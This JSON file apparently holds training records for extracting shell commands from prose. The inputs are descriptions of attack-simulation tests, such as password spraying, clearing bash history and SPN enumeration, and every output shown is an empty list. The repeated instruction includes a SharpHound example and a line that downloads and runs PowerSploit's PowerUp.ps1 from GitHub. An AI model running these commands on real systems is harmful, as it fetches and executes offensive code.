[ { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n svchost.exe writing a non-Microsoft Office file to a file with a UNC path.\nUpon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\\`, then execute svchost.exe with output to a txt file.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Access the Kubernetes service account access token stored within a container in a cluster.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.\nThis atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\\users.txt list. Any successful authentications will be printed to the screen with a message like \"[*] username:password\", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.\nUse the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.\nSee the \"Windows FOR Loop Password Spraying Made Easy\" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Clears bash history via a symlink to /dev/null\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the domain in question.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Create a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines 